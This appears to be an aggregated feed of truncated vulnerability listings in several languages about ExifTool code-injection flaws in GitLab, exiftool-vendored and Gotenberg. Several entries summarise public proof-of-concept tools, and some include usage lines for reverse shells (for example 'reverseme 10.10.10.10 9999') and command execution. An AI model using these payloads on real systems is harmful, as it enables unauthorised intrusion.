CVE-2026-43893

exiftool-vendored.js 安全公告 GHSA-cw26-7653-2rp5 受影响版本： 所有版本 漏洞描述： exiftool-vendored.js 在解析恶意构造的图片文件时存在命令注入漏洞。攻击者可通过精心构造的文件内容，在目标系统上执行任意命令。 影响： 成功利用此漏洞的攻击者可以以运行该库的进程权限执行任意系统命令，可能导致数据泄露、系统被完全控制等严重后果。 修复建议： 升级到已修复该漏洞的版本 避免处理来自不可信来源的图片文件 在沙箱或受限环境中运行使用该库的应用程序 参考链接： GitHub 安全公告...

Golang-CVE-2021-22205-POC

Golang-CVE-2021-22205-POC CVE-2021-22205 Gitlab RCE POCの簡易版で、Golangで書かれており、影響を受けるのはGitlab CE/EE /tmp/pizza.txt" tフラグは対象のGitlabインスタンスを、cフラグは実行したいコマンドを指定します。 スクリプトはプロキシとしてhttp://localhost:9090を使用するよう設定されています。プロキシを使いたくない場合は、その行を削除する必要があります。 脆弱なDocker環境はこちらにあります：...

Gitlab-CVE-2021-22205

RCE no autenticado en Gitlab versión 13.10.3 Exploit de RCE no autenticado para gitlab versión 13.10.3 Solo con fines educativos/de investigación. Úsalo bajo tu propio riesgo Causa raíz: Al subir archivos de imagen, Gitlab Workhorse pasa cualquier archivo con las extensiones jpg|jpeg|tiff a...

CVE-2021-22204

CVE-2021-22204 脆弱性 exiftool 任意コマンド実行 使用方法 1. exploit.pyファイルでリバースシェルを受け取るIP、ポートを設定後、docker compose upを実行します 2. Dockerシェルにアクセス後、/rootパスでpython3 exploit.pyファイルを実行すると、image.jpgファイルの攻撃コードが生成されます 3. 該当のimage.jpgファイルをダウンロードして使用します 参考...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool のエクスプロイト - 任意のコード実行 エクスプロイトの説明 このエクスプロイトを使用して、脆弱なバージョンの ExifTool でコード実行に使用できる JPEG 画像ペイロードを生成します。カスタムコマンドを指定するか、リバースシェルを生成できます。JPEG 画像が自動的に生成されます。オプションで、カスタム JPEG 画像を提供してペイロードを挿入することもできます。...

CVE-2021-22204

CVE-2021-22204 説明 ExifTool バージョン 7.44 以降の DjVu ファイル形式におけるユーザーデータの不適切な無害化により、悪意のある画像を解析する際に任意のコード実行が可能になります。 スクリプト Script Link スクリプトの使い方: システムコマンド: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg リバースシェル root@kitploit: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg...

CVE-2021-22205

CVE-2021-22205 - GitLab 未認証リモートコード実行 CVE-2021-22205 は、GitLab Community Edition CE および Enterprise Edition EE に影響を及ぼす重大なリモートコード実行 RCE 脆弱性です。この脆弱性は、サードパーティ製ユーティリティ ExifTool によって処理されるアップロード画像ファイルの検証が不適切であることに起因します。攻撃者は、GitLab サーバー上で任意のコマンド実行を引き起こす悪意のあるファイルを細工することができます。この脆弱性は CVSS スコア 10.0 Critical...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE 元のリポジトリ : https://github.com/CsEnox/Gitlab-Exiftool-RCE クレジット: CsEnox Gitlab 13.10.3 向け RCE エクスプロイト GitLab Workhorse は任意のファイルを ExifTool に渡します。現在のバグは ExifTool の DjVu モジュールにあります。 GitLab Workhorse を経由して画像をアップロードできる人なら誰でも、特別に細工されたファイルを介して RCE を達成できます。 使用方法 root@kitploit: python3...

Astra Linux – Vulnerability in libimage-exiftool-perl

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and above allows arbitrary code execution when parsing the malicious image...

ROS-20260819-73-0044

The vulnerability in perl-Image-ExifTool is related to insufficient neutralization of special elements in the request. Exploiting this vulnerability allows a remote attacker to execute arbitrary code...

GO-2026-5636 Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg

Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg...

GO-2026-5572 Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) in github.com/gotenberg/gotenberg

Gotenberg has ExifTool stdin argument injection via metadata value newlines bypass of key sanitization fix in github.com/gotenberg/gotenberg...

GO-2026-5587 Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg

Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg...

GO-2026-5162 Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move in github.com/gotenberg/gotenberg

Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move in github.com/gotenberg/gotenberg...

VulnCheck KEV: CVE-2026-42589

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded i...

Exploit for Code Injection in Exiftool_Project Exiftool

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgrade...

CVE-2026-7580

A vulnerability was detected in Exiftool up to 13.53. Impacted is the function Processmrld of the file lib/Image/ExifTool/GM.pm of the component JPEG/QuickTime/MOV/MP4. The manipulation of the argument -ee results in code injection. Attacking locally is a requirement. Upgrading to version 13.54 i...

CVE-2026-43893

exiftool-vendored provides cross-platform Node.js access to ExifTool. Prior to 35.19.0, exiftool-vendored starts ExifTool in -stayopen True -@ - mode, where arguments are read from stdin one per line. In affected versions, several caller-supplied strings were interpolated into ExifTool arguments...

CVE-2026-42589

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded i...

CVE-2026-40281

Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate...